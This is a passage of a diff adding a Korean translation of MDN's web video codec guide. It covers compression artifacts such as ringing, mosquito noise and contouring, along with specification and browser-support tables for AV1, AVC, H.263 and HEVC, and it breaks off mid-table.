+<p>위 별 모양의 경계 부분에 파랑 및 분홍 부분을 보세요 (계단 현상 등 다른 압축 아티팩트도 나타남). 저 부분이 링잉 효과입니다. 링잉은 어떤 면에서는 {{anch("Mosquito noise", "mosquito noise")}}와 비슷합니다, 다만 모기 효과는 일렁거리거나 움직이는데 반해 링잉 효과는 정지한 채로 변하지 않습니다.</p>
+
+<p>링잉 효과 역시 이미지 상의 글자를 읽기 어렵게 하는 아티팩트입니다.</p>
+
+<h3 id="포스터라이징Posterizing">포스터라이징(Posterizing)</h3>
+
+<p><strong>포스터리제이션</strong>은 압축된 결과물이 그라디언트 부분에서 색상 디테일을 잃는 현상을 의미합니다. 그라디언트 영역이 부드럽게 색상이 변하지 않고 원본과 비슷한 색상의 블록 형태로 얼룩이 묻은 듯한 이미지로 표현 됩니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16686/posterize-effect.jpg"><img alt="" src="https://mdn.mozillademos.org/files/16686/posterize-effect.jpg" style="height: 440px; width: 400px;"></a></p>
+
+<p>위 이미지상 흰머리 수리의  깃털 부분의 색상이 블록처럼 보이는 것을 보세요(배경의 흰색 올빼미도요). 포스터리제이션 효과로 인해 깃털의 디테일을 상당 부분 잃었습니다.</p>
+
+<h3 id="컨투어링Contouring">컨투어링(Contouring)</h3>
+
+<p><strong>컨투어링</strong> 또는 <strong>컬러 밴딩</strong>은 포스터리제이션의 특별한 형태로 이미지에서 색상 블록이 줄무늬 형태로 나타나는 현상을 의미합니다. 이는 비디오 인코딩 시 양자화 설정이 제대로 이뤄지지 않은 경우 발생할 수 있습니다.  결과적으로 부드럽게 변해야 할 그라디언트 부분에 "층"이 생긴 것처럼 줄무늬가 보입니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16685/contouring-effect.jpg"><img alt="Example of an image whose compression has introduced contouring" src="https://mdn.mozillademos.org/files/16685/contouring-effect.jpg" style="height: 300px; width: 400px;"></a></p>
+
+<p>위 이미지를 보시면 하늘에서 지평선으로 부드럽게 변해야 하는데 파란색이 층층이 져 있는 것을 볼 수 있습니다. 이 것이 컨투어링 효과입니다.</p>
+
+<h3 id="모스키토_노이즈Mosquito_noise">모스키토 노이즈(Mosquito noise)</h3>
+
+<p><strong>모스키토 노이즈</strong>는 시간적 아티팩트 중 하나로 배경과 물체의 경계면의 차이가 큰 부분에서 노이즈나 <strong>edge busyness</strong>가 흐릿하게 일렁거리는 현상을 의미합니다. 시각적으로는  {{anch("Ringing", "ringing")}} 효과와 유사합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16687/mosquito-effect-sm.png" style="height: 393px; width: 400px;"></p>
+
+<p>위 이미지상 다리 여러군데의 주변 하늘에서 모스키토 노이즈를 볼 수 있습니다. 우측 상단에 모스키토 노이즈가 발생한 부분을 확대해 놓았습니다.</p>
+
+<p>모스키토 노이즈는 MPEG 비디오에서 흔히 발견할 수 있지만 이산 코사인 변환(DCT)를 사용한 로직이라면 어디든지 발생할 수 있습니다;JPEG 정지 화상에서도요.</p>
+
+<h3 id="움직임_보상_블록_경계면_아티팩트">움직임 보상 블록 경계면 아티팩트</h3>
+
+<p>일반적인 비디오 압축은 두 프레임을 비교한 뒤 프레임간 차이점을 마지막 프레임까지 저장하는 방식으로 진행됩니다. 고정된 카메라에 촬영되는 물체들도 정지해 있다면 이 압축 방식은 매우 잘 동작하겠지만 프레임마다 움직임이 커지면 압축률을 높이기가 쉽지 않습니다.</p>
+
+<p><strong>{{interwiki("wikipedia", "움직임 보상")}}</strong>은 물체가 각각의 방향으로 얼마만큼 많은 픽셀이 이동했는지 움직임(카메라 자체의 이동 또는 프레임 상의 물체의 이동)을 추적하는 기술입니다.  그리고 단순 움직임 만으로는 설명할 수 없는 픽셀의 추가 정보와 함께 움직임을 저장합니다. 요약하자면 인코더가 움직이는 물체를 찾아낸 후 원본과 동일해 보이지만 새로운 위치로 이동한 인터널 프레임을 생성하는 방식입니다. 이론적으로는 새로운 프레임이 나타난 것과 거의 동일합니다. 새 프레임에 남아있는 다른 차이점이 발견된다면 물체의 움직임과 픽셀 차이점을 저장하여 작업을 마무리 합니다. 이렇게 움직임과 픽셀 차이점이 기록된 물체를 <strong>residual frame</strong>이라 부릅니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col" style="width: 216px;">원본 프레임</th>
+ <th scope="col" style="width: 216px;">인터-프레임 차이점</th>
+ <th scope="col" style="width: 216px;">움직임 보상 이후 차이점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><img alt="Original frame of video" src="https://mdn.mozillademos.org/files/16688/motion-comp-orig.jpg" style="height: 102px; width: 182px;"></td>
+ <td><img alt="" src="https://mdn.mozillademos.org/files/16689/motion-comp-diff.jpg" style="height: 102px; width: 182px;"></td>
+ <td><img alt="Differences between the frames after shifting two pixels right" src="https://mdn.mozillademos.org/files/16690/motion-comp-compensated.jpg" style="height: 102px; width: 182px;"></td>
+ </tr>
+ <tr>
+ <td style="vertical-align: top;">시청자에게 보이는 최초 전체 프레임</td>
+ <td style="vertical-align: top;">이건 첫번째 프레임과 두번째 프레임간의 차이점만 나타낸 화면입니다. 나머지는 모두 검정이죠. 가까이서 보면 이 움직임들은 단지 카메라가 수평으로 이동했기 때문에 발생한 것을 알 수 있습니다. 움직임 보상을 써먹기에 아주 좋은 후보죠.</td>
+ <td style="vertical-align: top;">차이점을 가지는 픽셀 수를 최소화 하기 위해 첫번째 프레임에서 카메라가 오른쪽으로 2픽셀 이동하였다고 가정한 뒤 픽셀 차이점을 계산합니다. 이는 카메라의 움직임을 추적하여 두 프레임간 겹치는 부분이 더 많아지게 합니다.</td>
+ </tr>
+ <tr>
+ <th colspan="3" style="font: italic 0.9em Arial, x-locale-body, sans-serif; vertical-align: middle;">Images from <a href="https://en.wikipedia.org/wiki/Motion_compensation#Illustrated_example">Wikipedia</a></th>
+ </tr>
+ </tbody>
+</table>
+
+<p>움직임 보상에는 두 가지 형태가 있습니다: <strong>전역 움직임 보상</strong> 과 <strong>블록 움직임 보상</strong>입니다. 전역 움직임 보상은 달리, 트래킹, 선회, 기울이기 및 회전 등의 카메라 변화를 감지합니다. 블록 움직임 보상은 추적 대상이 될만한 움직임의 작은 부분들을 찾아 처리합니다. 블록들은 보통 고정된 크기를 가지고 격자 형태로 배열되어 있지만 다양한 크기의 블록 및 블록이 겹치는 경우도 처리할 수 있도록 여러 형태의 움직임 보상을 지원합니다.</p>
+
+<p>하지만 움직임 보상에서도 아티팩트가 발생할 수 있습니다. 링잉 효과 등의 현상이 발생할 만큼 선명한 경계면에서 주로 발생합니다. 이는 residual frame을 코딩하는 도중 수학 계산의 결과물로 인해 발생하는 것으로 다음 키프레임에 의해 수정되기 전에 쉽게 발견할 수 있습니다.</p>
+
+<h3 id="프레임_크기_감소">프레임 크기 감소</h3>
+
+<p>특정 상황에서는 비디오 면적을 감소시키는 것이 비디오 파일 최종 사이즈를 줄이는데 도움이 되기도 합니다. 재생 도중 당장의 크기나 부드러움이 줄어드는 건 안 좋은 게 사실이지만 세심하게 조절하면 최종 결과물은 더 좋아질 수 있습니다. 1080p 비디오를 인코딩 전 720p 비디오로 축소한다면 화질을 더 높게 유지한 채로 크기를 훨씬 줄일 수 있습니다; 재생 할 때 스케일업 하더라도 필요한 파일 크기에 맞추어 품질을 조정한 채 전체 크기로 인코딩한 경우보다 화질이 좋습니다.</p>
+
+<h3 id="프레임_레이트_감소">프레임 레이트 감소</h3>
+
+<p>비슷하게 전체 비디오에서 프레임을 제거하고 프레임 레이트를 감소시킬 수도 있습니다. 두 가지 장점이 있는데: 전체 비디오를 작게 만들고 움직임 보상 처리가 더 쉬워집니다. 예를 들어 2 픽셀이 차이나는 두 인터 프레임 간의 움직임 차이점을 계산하는 대신에, 프레임을 스킵하여 두 프레임 간 4 픽셀 차이점을 계산하도록 할 수 있습니다. 이러면 전체 카메라 이동을 더 적은 residual frame으로 표현할 수 있습니다.</p>
+
+<p>사람 눈의 움직이는 것처럼 인식되는 최소한의 프레임 레이트는 약 12입니다. 그보다 적으면 비디오가 아니라 연속된 정지 화상으로 보입니다. 영화 필름은 보통 초당 24 프레임이며 표준 화질 TV(SDTV)는 대략 30 fps(약간 적지만 비슷합니다, 29.97), 고화질 TV(HDTV)는 24-60fps입니다. 24fps이상이면 일반적으로 충분히 부드러워 보입니다;여러분의 필요에 따라 다르지만 30/60fps가 이상적인 목표치죠.</p>
+
+<p>결론적으로 어떤걸 희생할 지 정하는 것은 여러분의 디자인 팀에 달렸습니다.</p>
+
+<h2 id="코덱_세부사항">코덱 세부사항</h2>
+
+<h3 id="AV1">AV1</h3>
+
+<p><strong>AOMedia Video 1</strong> (<strong>AV1</strong>) 코덱은 <a href="https://aomedia.org/">Alliance for Open Media</a> 기관이 인터넷 비디오를 위해 개발한 오픈 포맷입니다. {{anch("VP9")}}, {{anch("HEVC", "H.265/HEVC")}} 보다 압축율이 높으며, <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a>보다 50% 이상 압축율이 높습니다. AV1은 완전한 로열티 프리이며 {{HTMLElement("video")}} 엘리먼트와 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>에서 사용하기 위해 설계하였습니다.</p>
+
+<p>AV1은 현재 세 프로파일을 제공하며:<strong>main</strong>, <strong>high</strong>, <strong>professional</strong> 다양한 색 깊이와 크로마 서브샘플링을 지원합니다. 또한 <strong>레벨</strong> 역시 정의하여 각 레벨은 비디오 속성의 범위를 제한하고 있습니다. 비디오 속성에는 프레임 면적, 픽셀간 이미지 영역, 출력 및 디코딩 속도, 평균/최대 비트 레이트, 인코딩/디코딩 시 사용하는 타일 개수와 항목 등이 있습니다.</p>
+
+<p>예를들어 AV1 level 2.0의 최대 프레임 크기는 가로 2048 세로 1152 픽셀이지만 프레임 당 최대 픽셀 개수는 147,456(&lt;= 2048x1152 = 2,359,296)이므로 실제 2048x1152 크기의 프레임을 사용할 수는 없습니다. 하지만 인지해야 할 점은 적어도 파이어폭스와 크롬의 소프트웨어 디코더는 현 시점에서 사실상 레벨은 무시하고 주어진 설정에 맞추어 비디오를 디코딩하는데 최선을 다합니다. 하지만 향후 호한성을 위해 여러분은 선택한 레벨에 맞추어 유지해야 합니다.</p>
+
+<p>현시점의 AV1의 주요 문제점은 새로운 포맷이며 브라우저에 연동이 아직 진행중에 있다는 것입니다. 또한 인/디코더도 최적화해야 하며 하드웨어 인/디코더는 제품화되지 않아 아직 개발중입니다. 이러한 문제점들이 소프트웨어적으로 해결되기 전까지는 비디오 인코딩을 AV1 포맷으로 전환하는데 시간이 소요될 것입니다.</p>
+
+<p>위와 같은 이유로 당분간 최우선 비디오 코덱으로 AV1를 사용하기에는 이르지만 미래에는 반드시 선택을 고려해야 합니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>비디오 레벨에 따라 다름;이론적으로 level 6.3에서 최대 800Mbps<sup><a href="#av1-foot-2">[2]</a></sup></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>레벨에 따라 다름;예를 들어 level 2.0은 최대 30fps, level 6.3은 최대 120fps</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>8 x 8 픽셀 에서 65,535 x 65535 픽셀 사이 값</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">프로필</th>
+ <th scope="col">색 깊이</th>
+ <th scope="col">크로마 서브샘플링</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Main</th>
+ <td>8 or 10</td>
+ <td>4:0:0 (그레이스케일) or 4:2:0</td>
+ </tr>
+ <tr>
+ <th scope="row">High</th>
+ <td>8 or 10</td>
+ <td>4:0:0 (그레이스케일), 4:2:0, or 4:4:4</td>
+ </tr>
+ <tr>
+ <th scope="row">Professional</th>
+ <td>8, 10, or 12</td>
+ <td>4:0:0 (그레이스케일), 4:2:0, 4:2:2, or 4:4:4</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">AV1 지원</th>
+ <td>70</td>
+ <td>75</td>
+ <td>67</td>
+ <td>No</td>
+ <td>57</td>
+ <td>No</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td>ISOBMFF<sup><a href="#av1-foot-1">[1]</a></sup>, MPEG-TS, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환성</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">유지 보수 기관</th>
+ <td><a href="https://aomedia.org/">Alliance for Open Media</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://aomediacodec.github.io/av1-spec/av1-spec.pdf">https://aomediacodec.github.io/av1-spec/av1-spec.pdf</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>로열티 프리, 공개 포맷</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="av1-foot-1" name="av1-foot-1">[1]</a> {{interwiki("wikipedia", "ISO Base Media File Format")}}</p>
+
+<p><a name="av1-foot-2">[2]</a> See the AV1 specification's <a href="https://aomediacodec.github.io/av1-spec/#levels">tables of levels</a>, which describe the maximum resolutions and rates at each level.</p>
+
+<h3 id="AVC_H.264"><a name="AVC">AVC</a> (H.264)</h3>
+
+<p>MPEG-4 스펙 집합 중 <strong>Advanced Video Coding</strong> (<strong>AVC</strong>) 표준은 ITU H.264 스펙 및 MPEG-4 Part 10 스펙과 동일한 것입니다. TV 방송, 영상회의, 블루레이 디스크 미디어를 포함한 모든 종류의 미디어에 사용되는 움직임 보상에 기반한 코덱이죠.</p>
+
+<p>AVC는 높은 호환성을 지원하는 여러 프로파일 덕분에 매우 유연합니다; 예를들어 Constrained Baseline Profile은 영상회의와 모바일 환경을 고려하였고 MainProfile(몇몇 지역에서 SDTV로 사용)나 High Profile(블루레이 디스크에서 사용)보다 대역폭을 적게 사용합니다. 대부분의 프로파일은 8-bit 컬러 컴포넌트와 4:2:0 크로마 서브샘플링을 사용합니다; High 10 Profile은 10-bit 컬러를 지원하며 High 10 Advanced form은 4:2:2, 4:4:4 크로마 서브샘플링을 지원합니다.</p>
+
+<p>AVC에 동일한 장면의 여러 시점을 지원하는 기능도 있습니다.(Multiview Video Coding), 이는 양안 영상 등을 가능하게끔 합니다.</p>
+
+<p>AVC는 유료 포맷이지만 무수한 특허들이 개입한 여러 단체에 소유권이 나뉘어져있습니다. 상용 목적일때는 AVC 미디어 라이선스가 필요하지만 인터넷 환경에서 최종 사용자에게 비디오가 무료로 스트리밍하는 경우에는 MPEG LA 특허권자가 라이선스를 요구하지 않습니다.</p>
+
+<p>웹이 아닌 환경에서 WebRTC를 구현한 브라우저(JavaScript API가 없는 제품이라도)는 WebRTC 콜을 위해 AVC를 지원해야합니다. 웹 브라우저는 꼭 그럴필요는 없지만 몇몇은 지원하고 있습니다.</p>
+
+<p>많은 플랫폼이 웹브라우저의 HTML 콘텐츠 형태로 AVC의 하드웨어 인코딩/디코딩을 지원하고 있습니다. 하지만 AVC를 프로젝트에서 사용하기 전에 <a href="https://www.mpegla.com/programs/avc-h-264/">라이선스 요구사항</a>을 꼭 읽어보세요!</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>레벨에 따라 다름</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임레이트</th>
+ <td>레벨에 따라 다름; 300 fps까지 가능</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a>, 이미지안에 무손실 매크로 블록 생성 가능</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 8,192 x 4,320 픽셀</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>
+ <p>일반적이고 유효한 프로필:</p>
+
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">프로필</th>
+ <th scope="col">색 깊이</th>
+ <th scope="col">크로마 서브샘플링</th>
+ </tr>
+ <tr>
+ <td>Constrained Baseline (CBP)</td>
+ <td>8</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <td>Baseline (BP)</td>
+ <td>8</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <td>Extended (XP)</td>
+ <td>8</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <td>Main (MP)</td>
+ <td>8</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <td>High (HiP)</td>
+ <td>8</td>
+ <td>4:0:0 (그레이스케일) and 4:2:0</td>
+ </tr>
+ <tr>
+ <td>Progressive High (ProHiP)</td>
+ <td>8</td>
+ <td>4:0:0 (그레이스케일) and 4:2:0</td>
+ </tr>
+ <tr>
+ <td>High 10 (Hi10P)</td>
+ <td>8 to 10</td>
+ <td>4:0:0 (그레이스케일) and 4:2:0</td>
+ </tr>
+ <tr>
+ <td>High 4:2:2 (Hi422P)</td>
+ <td>8 to 10</td>
+ <td>4:0:0 (그레이스케일), 4:2:0, and 4:2:2</td>
+ </tr>
+ <tr>
+ <td>High 4:4:4 Predictive</td>
+ <td>8 to 14</td>
+ <td>4:0:0 (그레이스케일), 4:2:0, 4:2:2, and 4:4:4</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>예; {{interwiki("wikipedia", "Hybrid Log-Gamma")}} 또는 Advanced HDR/SL-HDR; 모두  ATSC의 파트</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">AVC/H.265 지원</th>
+ <td>4</td>
+ <td>12</td>
+ <td>35<sup><a href="#avc-foot-1">[1]</a></sup></td>
+ <td>9</td>
+ <td>25</td>
+ <td>3.2</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">유지 보수 기관</th>
+ <td><a href="https://mpeg.chiariglione.org/">MPEG</a> / <a href="https://www.itu.int/">ITU</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding">https://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding</a><br>
+ <a href="https://www.itu.int/rec/T-REC-H.264">https://www.itu.int/rec/T-REC-H.264</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>상용 특허 다수. 상용 사용 시 <a href="https://www.mpegla.com/programs/avc-h-264/">라이선스 필요</a>. 여러 특허 풀에 영향 가능</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="avc-foot-1" name="avc-foot-1">[1]</a> Firefox support for AVC is dependent upon the operating system's built-in or preinstalled codecs for AVC and its container in order to avoid patent concerns.</p>
+
+<h3 id="H.263">H.263</h3>
+
+<p>ITU의 H.263 코덱은 저대역폭 환경에서 쓰기 위해 설계하였습니다. 특히 PSTN (Public Switched Telephone Networks), {{Glossary("RTSP")}}, SIP (IP-based videoconferencing) 시스템에서의 영상 회의에 초점을 맞추었습니다. 저대역폭 네트워크 환경에 최적화되었음에도 CPU에 영향이 크며 저사양 컴퓨터에서 원할하게 동작하지 않습니다. 데이터 포맷은 MPEG-4 Part2와 유사합니다.</p>
+
+<p>H.263은 웹에서 널리 쓰인 적이 없습니다. H.263의 변형 포맷이 Flash 비디오나 Sorenson 코덱 같은 상용 소프트웨어에서 사용된 적은 있습니다.  하지만 주요 브라우저 중 H.263를 기본으로 지원하는 제품은 없습니다. 특정 플러그인이 H.263을 지원하고는 있습니다.</p>
+
+<p>대부분의 코덱과 다르게 H.263은 인코딩 된 비디오의 프레임별 최대 비트레이트(<strong>BPPmaxKb)</strong>의 기본값을 정의하고 있습니다. 인코딩시에 BPPmaxKb값을 지정하면 각 프레임은 해당 수치를 넘어설 수 없습니다. 최종 프레임은 이 값과 프레임 레이트, 압축, 선택한 해상도와 블록 포맷에 따라 결정됩니다.</p>
+
+<p>H.263은 H.264로 대체되었으며 가능한한 이전의 미디어 포맷은 사용하지 않아야 합니다. H.263이 최선일 정도로 오래된 장치를 지원해야 하는 프로젝트일 경우에만 H.263을 지원할테죠.</p>
+
+<p>H.263는 Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm 등 수 많은 기관들이 소유하고 있는 <a href="https://www.itu.int/ITU-T/recommendations/related_ps.aspx?id_prod=4242">특허</a>에 기반한 상용 포맷입니다. H.263을 사용하려면 필요한 라이선스를 반드시 취득해야합니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>무제한, 단 보통 64kbps 미만</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>자유</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 1408 x 1152 픽셀<sup><a href="#h263-foot-2">[2]</a></sup></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>YCbCr; 각 픽쳐 포맷 (sub-QCIF, QCIF, CIF, 4CIF, or 16CIF)은 프레임 크기를 픽셀 및 휘도와 색차 샘플의 라인수로 정의하고 있음</td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 비트레이트 (VFR) 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">H.263 support</th>
+ <td>No</td>
+ <td>No</td>
+ <td>No<sup><a href="#h263-foot-1">[1]</a></sup></td>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">컨테이너 지원</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">유지 보수 기관</th>
+ <td><a href="https://www.itu.net/">ITU</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://www.itu.int/rec/T-REC-H.263/">https://www.itu.int/rec/T-REC-H.263/</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>상용;적절한 라이선스가 필요함. 특허 풀이 여러 곳일 수 있음.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="h263-foot-1" name="h263-foot-1">[1]</a> While Firefox does not generally support H.263, the OpenMax platform implementation (used for the Boot to Gecko project upon which Firefox OS was based) did support H.263 in 3GP files.</p>
+
+<p><a id="h263-foot-2" name="h263-foot-2">[2]</a> Version 1 of H.263 specifies a set of picture sizes which are supported. Later versions may support additional resolutions.</p>
+
+<h3 id="HEVC_H.265"><a id="HEVC" name="HEVC">HEVC</a> (H.265)</h3>
+
+<p><strong><a href="http://hevc.info/">High Efficiency Video Coding</a></strong> (<strong>HVEC</strong>) 코덱은 ITU의 <strong>H.265 </strong>및 MPEG-H Part 2 (MPEG-4 후속 작업으로 개발 진행 중). HEVC는 현대 프로세서의 특정점을 십분 활용하여 소프트웨어가 (8K 비디오를 포함한) 초고해상도 비디오 인코딩/디코딩을 효율적으로 할 수 있도록 설계하였습니다. 이론적으로 HEVC는 {{anch("AVC")}}와 유사한 품질을 유지하면서 절반 크기로 압축할 수 있습니다.</p>
+
+<p>예를들어 각 코딩 트리 유닛(CTU, 이전 세대 코덱의 매크로블록과 유사) 샘플의 휘도 값 트리와 색차 값 트리, 필요한 문법 요소로 구성되어 있습니다. 이는 멀티 코어 환경을 쉽게 활용할 수 있게 합니다.</p>
+
+<p>메인 프로파일이 컴포넌트당 8비트 컬러와 4:2:0 크로마 서브샘플링을 지원하는 점은 흥미로운 부분입니다. 또한 4:4:4 비디오는 특별 취급합니다. 휘도 샘플(이미지 픽셀을 그레이스케일로 표현)과 Cb Cr 샘플(회색을 색상으로 어떻게 변경할지 표시)을 가지는 대신, 세 채널은 3개의 모노크롬 이미지로 취급하며 렌더링시에 풀컬러 이미지를 만들어 내도록 결합합니다.</p>
+
+<p>HEVC는 상용 포맷이며 여러 특허로 보호받고 있습니다. <a href="https://www.mpegla.com/programs/hevc/">MPEG LA</a>하에 라이선스가 관리되고 있으며; 컨텐츠 제작자나 제공자가 아닌 개발자에 청구됩니다. 여러분의 앱/웹사이트에서 HEVC 사용 여부를 결정하기 전에 최신 라이선스와 요구 사항을 점검하는 걸 잊지마세요!</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>최대 800,000 Kbps</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>레벨마다 다름; 최대 300 FPS 가능</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>128 x 96 에서 8,192 x 4,320 픽셀; 프로파일과 레벨마다 다름</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>
+ <p>아래 표는 주요 프로파일에 한해서입니다. 여기에 포함하지 않는 프로파일도 있습니다.</p>
+
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">프로파일</th>
+ <th scope="col">색 깊이</th>
+ <th scope="col">크로마 서브샘플링</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Main</td>
+ <td>8</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <td>Main 10</td>
+ <td>8 to 10</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <td>Main 12</td>
+ <td>8 to 12</td>
+ <td>4:0:0 and 4:2:0</td>
+ </tr>
+ <tr>
+ <td>Main 4:2:2 10</td>
+ <td>8 to 10</td>
+ <td>4:0:0, 4:2:0, and 4:2:2</td>
+ </tr>
+ <tr>
+ <td>Main 4:2:2 12</td>
+ <td>8 to 12</td>
+ <td>4:0:0, 4:2:0, and 4:2:2</td>
+ </tr>
+ <tr>
+ <td>Main 4:4:4</td>
+ <td>8</td>
+ <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+ </tr>
+ <tr>
+ <td>Main 4:4:4 10</td>
+ <td>8 to 10</td>
+ <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+ </tr>
+ <tr>
+ <td>Main 4:4:4 12</td>
+ <td>8 to 12</td>
+ <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+ </tr>
+ <tr>
+ <td>Main 4:4:4 16 Intra</td>
